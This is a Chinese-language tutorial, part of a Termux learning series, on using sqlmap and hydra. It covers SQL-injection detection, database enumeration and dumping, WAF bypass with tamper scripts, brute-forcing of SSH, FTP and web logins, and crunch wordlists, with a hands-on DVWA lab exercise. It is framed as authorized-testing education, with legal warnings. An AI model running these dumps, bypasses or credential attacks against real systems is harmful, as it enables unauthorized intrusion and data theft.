📚 Termux 无 Root 学习开发系列
阶段一:环境搭建与终端基础 ✅ 已完成
01-05 Termux 安装 → 包管理 → 文件管理 → Vim/tmux 上/下
阶段二:编程开发环境 ✅ 已完成
06-09 Python → C/C++ → Node.js → Git
阶段三:网络与远程操作 ✅ 已完成
10-12 SSH 远程 → 网络工具 → 代理与安全通信
阶段四:Termux:API 与自动化 ✅ 已完成
13-14 硬件调用 → 定时任务
阶段五:proot-distro 完整 Linux ✅ 已完成
15-17 proot-distro → Jupyter → 桌面环境 VNC
阶段六:AI 与 AIGC 实战 ✅ 已完成
18-20 LLM API → llama.cpp → RAG 知识库
阶段七:安全工具实战
✓ 21 信息收集与端口扫描
22 sqlmap 注入测试与 hydra 爆破(当前篇)
23 密码哈希破解与取证工具
阶段八:自托管服务与综合实战
24-26 自托管服务 → 综合项目
阶段九:综合项目
27-28 项目整合
全系列共 28 篇,已发布 22 篇,持续更新中

22 sqlmap 注入测试与 hydra 爆破

难度:高级 | 阶段七:安全工具实战 · 第 2 篇
读完本篇你将能:在 Termux 无 root 环境下安装并使用 sqlmap 1.10.9 自动化检测 SQL 注入漏洞,执行数据库枚举与数据导出;用 hydra v9.6 对 SSH、FTP、HTTP 表单等多协议执行密码爆破;管理密码字典并用 crunch 按规则生成自定义字典;在 DVWA 靶机上完成从注入检测到弱密码测试再到安全报告的完整评估流程。
📑 本文目录
01环境准备:安装 sqlmap 与 hydra
02sqlmap 基础:SQL 注入自动化检测
03sqlmap 进阶:数据库枚举与数据导出
04sqlmap 高级技巧:POST 注入与 WAF 绕过
05hydra 密码爆破:多协议暴力破解
06密码字典管理与 crunch 规则生成
07实操项目:DVWA 靶机完整安全评估
08法律道德与授权测试规范

§1 环境准备:安装 sqlmap 与 hydra

上一篇用 nmap 找到了开放端口,用 ffuf 发现了隐藏路径——这些是"入口"。本篇深入入口背后:如果入口是一个 Web 应用,sqlmap 能自动化检测它是否存在 SQL 注入漏洞;如果入口是一个登录服务,hydra 能测试它的密码强度。两者合在一起,就是从"发现入口"到"验证漏洞"的完整链条。

sqlmap 是纯 Python 项目,hydra 是 C 语言项目。两者的安装路径完全不同:sqlmap 走 pip,hydra 走 pkg。这意味着在 Termux 无 root 环境下,两者的兼容性和依赖管理也截然不同。

安装 sqlmap 1.10.9

sqlmap 是纯 Python 2/3 兼容脚本,无 C 扩展依赖,在 Termux 原生 Python 环境下直接 pip 安装即可:

Bash
# 通过 pip 安装最新稳定版
pip install sqlmap
# 或从 GitHub 克隆开发版(获取最新特性)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
# 验证安装
sqlmap --version

执行 sqlmap --version 后应输出 1.10.9(2026 年 9 月 PyPI 最新版)。如果版本号低于 1.10,说明 pip 缓存了旧版,执行 pip install --upgrade sqlmap 升级。

安装 hydra v9.6

hydra 是 THC(The Hacker's Choice)组织开发的 C 语言密码爆破工具,Termux 官方仓库已收录:

Bash
# Termux 原生安装
pkg install hydra
# 验证
hydra -h | head -5
# proot Ubuntu 中安装(版本更新)
apt install -y hydra

hydra 依赖 libssh、libssl、libidn 等库。Termux 的 pkg 会自动处理这些依赖,但如果遇到编译错误(尤其在 ARM 架构上),可以尝试在 proot Ubuntu 中安装,那里的包更完整。执行 hydra -h 看到 Hydra v9.6 即表示安装成功。

⚠️ 常见错误
hydra: error while loading shared libraries: libssh.so.4 — 缺少 libssh 共享库
✓ 修复:执行 pkg install libssh 安装依赖库后重试。proot Ubuntu 中执行 apt install libssh-dev。
💡 小贴士
sqlmap 是纯 Python 脚本,不编译任何 C 代码,所以在 Termux 原生环境安装非常顺滑。hydra 虽然 C 编译可能遇到依赖问题,但 Termux 官方仓库的预编译包已经处理好了。如果 pkg install hydra 报错,先 pkg update && pkg upgrade 更新仓库索引再重试。

§2 sqlmap 基础:SQL 注入自动化检测

SQL 注入的本质是:应用程序把用户输入直接拼接到 SQL 查询字符串中,攻击者通过构造特殊输入改变查询的语义。sqlmap 的核心能力是自动化完成"构造注入 payload → 发送请求 → 分析响应 → 判断是否可注入"这个循环,支持布尔盲注、时间盲注、联合查询、报错注入、堆叠查询等全部主流注入技术。

把 SQL 注入想象成保险箱破解:正常的查询是"用正确的钥匙开正确的锁",注入则是"在锁孔里塞入一根特制的金属丝,让锁芯以为已经解锁"。sqlmap 就是那把自动测试各种金属丝形状的机器——它尝试上百种 payload 变体,观察保险箱的反应,最终判断哪根丝能打开。

GET 参数注入检测

最简单的注入场景是 URL 中带参数的 GET 请求。假设目标页面是 http://192.168.1.100/page.php?id=1,sqlmap 用 -u 指定目标 URL:

Bash
# 基础检测:测试 id 参数是否可注入
sqlmap -u "http://192.168.1.100/page.php?id=1" --batch

--batch 参数让 sqlmap 使用默认选项自动运行,不暂停等待用户输入——这在 Termux 终端中尤为重要,避免长时间扫描中途因交互超时而中断。

如果检测到注入点,sqlmap 会输出类似以下信息:

Output
[INFO] testing connection to the target URL
[INFO] testing if the provided parameter is injectable
[INFO] testing 'id' for GET parameter injection
[INFO] the back-end DBMS is MySQL
[+] parameter 'id' is vulnerable!
[+] sqlmap identified the following injection point(s):
Parameter: id (GET)
    Type: boolean-based blind
    Type: time-based blind
    Type: UNION query

输出中最重要的三行:parameter 'id' is vulnerable(确认可注入)、back-end DBMS is MySQL(识别数据库类型)、Type 列出了可用的注入技术(布尔盲注、时间盲注、联合查询)。三种类型同时可用说明注入点非常"深"——数据库暴露程度很高。

数据库指纹识别

确认注入后,下一步是获取数据库版本信息:--banner 参数通过注入提取数据库的 Banner 信息(版本号、运行模式等):

Bash
sqlmap -u "http://192.168.1.100/page.php?id=1" --banner --batch
# 输出示例
[INFO] the back-end DBMS is MySQL
banner: '5.7.42-0ubuntu0.18.04.1'

MySQL 5.7.42 这个版本号非常关键——不同版本的 MySQL 支持不同的 SQL 语法和内置函数,sqlmap 会根据版本号自动调整 payload 策略。同时,版本号还能暴露已知的 CVE 漏洞信息,为后续漏洞利用提供线索。

💡 小贴士
sqlmap 默认测试等级(level)为 1,只检测 GET 参数。如果目标有多个参数(如 ?id=1&name=test&page=2),level=1 只测 id。提升到 --level=3 会测试 Cookie 和 User-Agent,--level=5 测试 Host 头。等级越高,探测越全面但时间越长。初始扫描用 level=1 快速确认,发现注入后再提高等级深度测试。

§3 sqlmap 进阶:数据库枚举与数据导出

确认了注入点和数据库类型后,接下来是"逐层深入"的枚举过程:列数据库 → 列表 → 列列 → 导数据。这个过程遵循数据库的层级结构:一个 MySQL 实例包含多个数据库,每个数据库包含多张表,每张表包含多列,每列包含具体数据。

枚举数据库列表

用 --dbs 参数列出目标 MySQL 实例中的所有数据库名:

Bash
sqlmap -u "http://192.168.1.100/page.php?id=1" --dbs --batch
# 输出示例
available databases [4]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema

这里看到 4 个数据库:dvwa 是 DVWA 靶机的应用数据库,其余三个是 MySQL 自带的系统库。通常应用数据库名称与 Web 应用相关(如 dvwa、wordpress、joomla),这是我们真正感兴趣的目标。

枚举表与列

锁定目标数据库后,用 -D 指定数据库名,--tables 列出其中的表:

Bash
# 列出 dvwa 数据库的所有表
sqlmap -u "http://192.168.1.100/page.php?id=1" -D dvwa --tables --batch
# 输出
Database: dvwa
[2 tables]
+--------------+
| guestbook   |
| users       |
+--------------+
# 列出 users 表的列
sqlmap -u "http://192.168.1.100/page.php?id=1" -D dvwa -T users --columns --batch

输出会显示 users 表的结构:user_id、first_name、last_name、user、password、avatar 等列。其中 password 列通常存储用户密码的 MD5 哈希值——这就是下一篇(密码破解)的输入。

导出数据

用 --dump 参数导出整张表或指定列:

Bash
# 导出 users 表的全部数据
sqlmap -u "http://192.168.1.100/page.php?id=1" -D dvwa -T users --dump --batch
# 只导出 user 和 password 两列
sqlmap -u "http://192.168.1.100/page.php?id=1" -D dvwa -T users -C user,password --dump --batch

sqlmap 会自动尝试识别密码哈希类型并调用内置彩虹表破解 MD5 哈希。导出的数据保存在 ~/.local/share/sqlmap/output/ 目录下的 CSV 文件中,即使终端关闭也不丢失。

💡 小贴士
sqlmap 导出数据时有个隐藏功能:如果检测到 password 列的值是 MD5 哈希,会自动尝试用内置字典破解。破解成功后在 CSV 中显示明文密码,破解失败的显示 [HASH] 标记。这意味着即使不装 hashcat(下一篇的工具),sqlmap 也能处理常见的弱密码哈希。但如果目标用了 bcrypt 或 Argon2,sqlmap 无法破解——那些需要 GPU 加速的专业破解工具。

§4 sqlmap 高级技巧:POST 注入与 WAF 绕过

很多 Web 应用的注入点不在 URL 参数中,而是在 POST 请求体或 HTTP 头中。登录表单、搜索框、API 接口的参数都走 POST 请求——这些场景 sqlmap 也能处理,但需要额外参数指定请求方式。

POST 请求注入

用 --data 参数指定 POST 请求体:

Bash
# 测试登录表单的 POST 注入
sqlmap -u "http://192.168.1.100/login.php" \
  --data="username=admin&password=123456" \
  --batch

sqlmap 会对 username 和 password 两个参数分别测试注入。如果只关注某个参数,用 -p 指定:

Bash
# 只测试 username 参数
sqlmap -u "http://192.168.1.100/login.php" \
  --data="username=admin&password=123456" \
  -p username --batch

Cookie 与 Header 注入

需要登录后才能访问的页面,sqlmap 需要带上会话 Cookie。用 --cookie 参数:

Bash
# 带会话 Cookie 测试需认证的页面
sqlmap -u "http://192.168.1.100/user.php?id=1" \
  --cookie="PHPSESSID=abc123;security=low" \
  --level=2 --batch

--level=2 会测试 Cookie 参数是否可注入——很多应用把用户 ID 存在 Cookie 中,直接拼入 SQL 查询,这是一个常见的注入盲区。

WAF 绕过:tamper 脚本

Web 应用防火墙(WAF)会拦截包含 SQL 关键字的请求。sqlmap 的 --tamper 参数可加载绕过脚本,对 payload 进行编码变形以规避 WAF 规则:

tamper 脚本 变形方式 适用 WAF
space2comment 空格→/**/注释 ModSecurity
between 大于号→BETWEEN Cloudflare
charencode 字符→URL 编码 通用
randomcase 关键字随机大小写 Apache ModSecurity
Bash
# 组合多个 tamper 脚本绕过 WAF
sqlmap -u "http://192.168.1.100/page.php?id=1" \
  --tamper=space2comment,randomcase,charencode \
  --risk=3 --level=3 --batch

--risk=3 是最高风险等级,允许 sqlmap 使用更激进的 payload(如基于 OR 的注入,可能导致数据库全表更新)。默认 risk=1 是安全的,只在确认需要时提升。

💡 小贴士
tamper 脚本可以叠加使用,但不是越多越好——每种变形都会增加 payload 长度,过长的 URL 可能被 Web 服务器直接拒绝(414 URI Too Long)。实战中建议先不加 tamper 测试一次,确认被 WAF 拦截后再逐个尝试。sqlmap 内置 50+ 种 tamper 脚本,执行 sqlmap --list-tampers 查看完整列表。

§5 hydra 密码爆破:多协议暴力破解

sqlmap 解决的是"Web 应用层数据泄露"问题,hydra 解决的是"认证层弱密码"问题。两者互补:sqlmap 从数据库里拿到用户名和密码哈希,hydra 拿这些凭据去撞其他服务的登录入口——数据库里的 admin 用户,很可能也是 SSH 的 admin 用户。

hydra 支持 50+ 协议,包括 SSH、FTP、HTTP(GET/POST 表单)、SNMP、MySQL、PostgreSQL、SMB、RDP 等。它的核心逻辑很简单:从用户字典取一个用户名,从密码字典取一个密码,组合后发送给目标服务的认证接口,根据返回判断是否成功。

hydra 基本语法

Bash
1
2
3
4
5
6
# 基本语法
hydra -L <用户字典> -P <密码字典> <协议>://<目标IP>
# 等价写法(IP 和协议分开)
hydra -L users.txt -P pass.txt 192.168.1.100 ssh
# 常用参数
hydra -l admin -P pass.txt -s 8022 -t 4 192.168.1.100 ssh
hydra 核心参数对照
参数 含义 示例
-l 单个用户名 -l admin
-L 用户名字典文件 -L users.txt
-p 单个密码 -p 123456
-P 密码字典文件 -P pass.txt
-s 指定端口 -s 8022
-t 线程数(默认 16) -t 4
-f 找到第一个即停止 -f
-V 显示每次尝试详情 -V
-o 结果保存到文件 -o found.txt

SSH 爆破实战

SSH 是最常见的爆破目标。上一篇用 nmap 发现了 22 端口开放,现在用 hydra 测试其密码强度。Termux 的 SSH 默认运行在 8022 端口,这里以局域网中的测试服务器为例:

Bash
1
2
3
4
5
6
7
8
# 爆破 SSH(默认 22 端口)
hydra -L users.txt -P rockyou.txt \
  -t 4 -f -o ssh_found.txt \
  ssh://192.168.1.100
# 指定非标准端口(如 Termux SSH 的 8022)
hydra -l admin -P pass.txt \
  -s 8022 -t 4 192.168.1.100 ssh

关键点:-t 4 将线程降到 4(默认 16),因为 SSH 有 MaxAuthTries 限制(通常 3-6 次/连接),线程太高会被 sshd 直接拒绝连接。-f 让 hydra 在找到第一个有效凭据后立即停止,节省时间。

⚠️ 注意
SSH 爆破会产生大量认证失败日志(/var/log/auth.log 或 journalctl -u sshd)。fail2ban 等工具会在 3-5 次失败后封禁来源 IP。测试自己的服务器时,建议先将测试 IP 加入 fail2ban 白名单。

FTP 爆破

FTP 爆破比 SSH 简单,因为 FTP 没有严格的认证次数限制,可以放心提高线程数:

Bash
# FTP 爆破(高线程)
hydra -L users.txt -P pass.txt -t 16 -f ftp://192.168.1.100
# 匿名 FTP 检测(用户名 anonymous,空密码)
hydra -l anonymous -p "" ftp://192.168.1.100

HTTP POST 表单爆破

Web 登录表单是 hydra 最复杂的场景。需要告诉 hydra 表单的字段名和成功/失败的判断标志。这通过 http-post-form 模块实现:

Bash
1
2
3
4
5
6
# HTTP POST 表单爆破语法
hydra -l admin -P pass.txt \
  192.168.1.100 http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:F=incorrect"
# 三个字段用冒号分隔,含义见下表

http-post-form 的参数格式为 "路径:POST体:判断标志",三个部分用冒号分隔:

部分 含义 示例
路径 表单提交的 URL 路径 /login.php
POST 体 表单字段,^USER^ 和 ^PASS^ 是占位符 user=^USER^&pass=^PASS^
判断标志 F=失败标志(页面包含此字符串=失败),S=成功标志 F=incorrect

判断标志的关键:F=incorrect 表示如果响应页面包含"incorrect"这个字符串,说明密码错误(Failure)。反之,如果不包含此字符串,hydra 认为密码正确。也可以用 S= 指定成功标志(Success),如 S=Welcome 表示页面包含"Welcome"时为成功。

💡 小贴士
确定判断标志的快捷方法:手动用错误密码登录一次,在浏览器开发者工具(F12 → Network)中查看响应内容,找到只在登录失败时出现的文字(如"incorrect"、"Login failed"、"无效")。这段文字就是 F= 后面的值。注意避免选择同时出现在成功和失败页面的通用词。

§6 密码字典管理与 crunch 规则生成

hydra 的效果完全取决于字典质量。用 10 万条的通用字典跑一小时可能一无所获,用 100 条的精准字典三分钟就能命中。字典管理的核心不是"大",而是"准"。

常用字典资源

字典名称 条目数 特点
rockyou.txt ~1400 万 2012 年 RockYou 泄露库,最通用的基准字典
SecLists 多套 GitHub 综合字典集,按场景分类
darkweb2017 ~1 万 暗网 Top 10000 密码,精简高效
自定义字典 不定 基于目标信息(公司名、年份等)定向生成

在 Termux 中获取 rockyou.txt:

Bash
# 下载 rockyou.txt(压缩版约 14MB)
wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# 克隆 SecLists 仓库(完整集,约 1GB)
git clone --depth 1 https://github.com/danielmiessler/SecLists.git
# 查看行数
wc -l rockyou.txt

rockyou.txt 有 1400 万条密码,直接用 hydra 全量跑可能需要数小时。实战中通常先用 head -n 1000 rockyou.txt 取前 1000 条(最常用密码)快速测试,不命中再用全量。

crunch 按规则生成字典

当通用字典不命中时,crunch 能根据规则生成定制字典。比如已知目标公司名为 Acme、成立于 2019 年,可以生成 Acme2019、Acme@2019 等组合:

Bash
1
2
3
4
5
6
7
8
9
# 安装 crunch(proot Ubuntu 中)
apt install -y crunch
# 生成 4 位纯数字字典(0000-9999)
crunch 4 4 0123456789 -o pin.txt
# 生成 6-8 位字母+数字字典
crunch 6 8 abcdefghijklmnopqrstuvwxyz0123456789 -o mixed.txt
# 使用模式串生成定制字典
crunch 8 8 -t Acme@^^ -o custom.txt

crunch 8 8 -t Acme@^^ 中,-t 指定模式串,@ 代表小写字母,^ 代表特殊字符。这会生成 Acme@aa 到 Acme@zz 加特殊字符的所有 8 位组合。

crunch 模式串占位符
占位符 含义 字符集
@ 小写字母 a-z
, 大写字母 A-Z
% 数字 0-9
^ 特殊字符 !@#$%^&*()

字典预处理技巧

拿到字典后,用 Linux 文本工具做预处理可以大幅提升效率:

Bash
1
2
3
4
5
6
7
# 去重
sort -u rockyou.txt -o dedup.txt
# 只保留 6-12 位(去掉过短和过长的)
awk 'length>=6 && length<=12' rockyou.txt > filtered.txt
# 合并多个字典并去重
cat dict1.txt dict2.txt | sort -u > merged.txt
💡 小贴士
字典预处理是爆破效率的"隐形杠杆"。rockyou.txt 全量 1400 万条,但去掉 6 位以下的短密码和 12 位以上的长密码后只剩约 700 万条,体积减半而命中率几乎不变(因为绝大多数真实密码在 6-12 位之间)。awk 过滤只需 5 秒,但爆破时间可以缩短一半。

§7 实操项目:DVWA 靶机完整安全评估

DVWA(Damn Vulnerable Web App)是专为安全学习设计的 PHP/MySQL Web 应用,内置 SQL 注入、XSS、文件上传、命令注入等漏洞。在 proot Ubuntu 中用 Docker 搭建 DVWA 靶机,然后用 sqlmap + hydra 完成从信息收集到漏洞利用再到弱密码测试的完整流程。

搭建 DVWA 靶机

Bash
1
2
3
4
5
6
7
8
# proot Ubuntu 中用 Docker 启动 DVWA
docker run -d --name dvwa \
  -p 8080:80 \
  vulnerables/web-dvwa
# 访问初始化页面
curl http://localhost:8080/setup.php
# 默认凭据:admin / password

DVWA 有三个安全等级:Low(无任何防护)、Medium(基本防护)、High(强防护)。先用 Low 等级练习 sqlmap 基本流程,再切换到 Medium 和 High 练习 WAF 绕过。

第一步:sqlmap 检测注入漏洞

DVWA 的 SQL Injection 模块有一个 ?id=1 参数。但 DVWA 要求登录后才能访问,所以需要先获取 Cookie:

Bash
1
2
3
4
5
6
7
8
9
# 先用 curl 登录获取 Cookie
curl -c cookie.txt -b cookie.txt \
  -d "username=admin&password=password&Login=Login" \
  http://localhost:8080/login.php
# 带 Cookie 检测注入
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=xxx;security=low" \
  --batch
# sqlmap 会自动检测注入类型并报告

第二步:数据库枚举与数据导出

Bash
1
2
3
4
5
6
7
# 枚举数据库
sqlmap ... --dbs --batch
# 导出 dvwa.users 表的 user 和 password 列
sqlmap ... -D dvwa -T users -C user,password \
  --dump --batch
# sqlmap 会自动识别 MD5 哈希并尝试破解

sqlmap 导出数据时会自动检测 password 列中的哈希格式(MD5 等),并调用内置的彩虹表尝试破解。如果破解成功,直接显示明文密码。

第三步:hydra 测试 DVWA 登录弱密码

用从数据库中拿到的用户名,配合密码字典对 DVWA 登录页执行爆破:

Bash
1
2
3
4
5
hydra -l admin -P rockyou.txt \
  localhost http-post-form \
  "/login.php:username=^USER^&password=^PASS^&Login=Login:F=failed"
# 预期结果:快速命中 admin / password

第四步:整合报告生成

将 sqlmap 和 hydra 的输出整合为一份结构化安全评估报告。用 Python 脚本自动化这个过程:

Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
"""安全评估报告生成器"""
from datetime import datetime
import subprocess
def run_sqlmap(url, cookie=None):
    cmd = ["sqlmap", "-u", url, "--batch"]
    if cookie:
        cmd += ["--cookie=" + cookie]
    return subprocess.run(cmd, capture_output=True, text=True)
def run_hydra(target, user, wordlist, module, form_spec):
    cmd = ["hydra", "-l", user, "-P", wordlist,
              "-f", target, module]
    if module == "http-post-form":
        cmd.append(form_spec)
    return subprocess.run(cmd, capture_output=True, text=True)
def gen_report(sqlmap_out, hydra_out):
    ts = datetime.now().strftime("%Y-%m-%d %H:%M")
    with open(f"report_{ts}.txt", "w") as f:
        f.write(f"=== 安全评估报告 {ts} ===\n\n")
        f.write("[SQL注入检测]\n")
        f.write(sqlmap_out.stdout[:500] + "\n\n")
        f.write("[弱密码检测]\n")
        f.write(hydra_out.stdout[:500] + "\n")
    print(f"报告已生成: report_{ts}.txt")
if __name__ == "__main__":
    s = run_sqlmap("http://localhost:8080/sqli/?id=1")
    h = run_hydra("localhost", "admin", "pass.txt", "ssh", "")
    gen_report(s, h)

这个脚本将 sqlmap 和 hydra 的输出截取前 500 字符(关键摘要)写入报告文件。实际评估中可以进一步解析 JSON 格式输出(sqlmap 支持 --output-dir 和结构化日志),生成更详细的漏洞清单和修复建议。

💡 小贴士
DVWA 的 Medium 等级对 id 参数做了 mysqli_real_escape_string 处理,但只过滤了引号——sqlmap 的 tamper 脚本可以轻松绕过。切换到 High 等级后,参数变成了 COOKIE 传递,需要用 --level=2 以上才会检测 Cookie 注入。逐级挑战是理解"漏洞-防护-绕过"螺旋式对抗的最佳方式。

§8 法律道德与授权测试规范

本篇涉及的 sqlmap 和 hydra 是"双刃剑"——在授权测试中是安全评估利器,在未授权使用中是违法犯罪工具。两者的分界线只有一条:是否有书面授权。

⚠️ 法律红线
根据《中华人民共和国网络安全法》第二十七条和《刑法》第二百八十五条,未经授权对他人计算机信息系统进行渗透测试、获取数据、干扰系统正常运行,可能构成"非法侵入计算机信息系统罪"或"非法获取计算机信息系统数据罪",最高可处七年有期徒刑。授权测试必须有书面合同或授权书,口头授权无效。

授权测试的三个原则

原则 含义 实操要求
授权 所有测试必须基于书面授权 签署 SOW 或渗透测试协议,明确范围和时间窗口
范围 只测试授权范围内目标 IP 清单、URL 列表、允许的攻击类型写入合同
影响 不得造成实际损害 sqlmap --dump 只取样本数据,hydra -f 找到一个即停

安全评估报告模板

一份合格的安全评估报告应包含以下结构:

Text
1
2
3
4
5
6
7
8
9
10
11
12
13
=== 安全评估报告 ===
评估时间:2026-09-08
评估目标:192.168.1.100(DVWA 靶机)
授权依据:内部安全测试授权书 #2026-0908
[漏洞1] SQL注入(高危)
位置:/vulnerabilities/sqli/?id=
类型:布尔盲注 + UNION 查询
影响:可导出全部数据库内容
[漏洞2] 弱密码(高危)
服务:SSH (22)、Web登录 (/login.php)
影响:admin/password 可直接登录
💡 小贴士
本系列所有安全工具实战仅限在自建靶机(如 DVWA、Metasploitable)或获得书面授权的系统上操作。在 CTF(Capture The Flag)比赛中使用这些工具是完全合法的——CTF 平台已默认授予参赛者测试权限。CTFtime.org 上有全球 CTF 赛事日历,是合法练习安全技能的最佳途径。

分级练习

🟢 基础级
1. 在 Termux 中安装 sqlmap 和 hydra,分别验证版本号输出。
2. 启动 DVWA 靶机(Low 等级),用 sqlmap 检测 ?id=1 参数是否存在 SQL 注入,记录注入类型。
3. 用 hydra 对本机 SSH(端口 8022)执行单用户名爆破,使用 rockyou.txt 前 100 条密码。
🟡 进阶级
4. 将 DVWA 切换到 Medium 等级,使用 --tamper=space2comment 绕过防护并成功导出 users 表。
5. 用 hydra 的 http-post-form 模块对 DVWA 登录页执行爆破,正确设置 F= 判断标志。
6. 用 crunch 生成 4 位纯数字 PIN 字典(0000-9999),统计文件行数和大小。
🔴 挑战级
7. 编写 Python 脚本,整合 sqlmap 检测和 hydra 爆破结果,生成结构化安全评估报告(含漏洞类型、位置、影响、修复建议)。
8. 将 DVWA 切换到 High 等级,使用 --level=2 --risk=3 检测 Cookie 注入,组合 2 种以上 tamper 脚本绕过。
9. 用 awk 对 rockyou.txt 做预处理:去重 + 只保留 8-12 位 + 包含至少一个数字和字母的密码,统计过滤前后的条目数对比。

知识回顾

sqlmap 1.10.9 hydra v9.6 GET 注入检测 POST 注入 数据库枚举 --dump 数据导出 tamper WAF 绕过 SSH 爆破 FTP 爆破 http-post-form rockyou.txt crunch 字典生成 DVWA 靶机 授权测试规范
下一篇预告
23 密码哈希破解与取证工具
sqlmap 导出了密码哈希,hydra 撞出了明文密码——但拿到的是 MD5 哈希怎么办?下一篇学习 hashcat 和 John the Ripper 离线破解密码哈希(注意 hashcat 在手机上的 GPU 限制),以及 binwalk、foremost、exiftool 等数字取证工具。从"在线爆破"走向"离线破解 + 取证分析",完成安全工具实战的最后一环。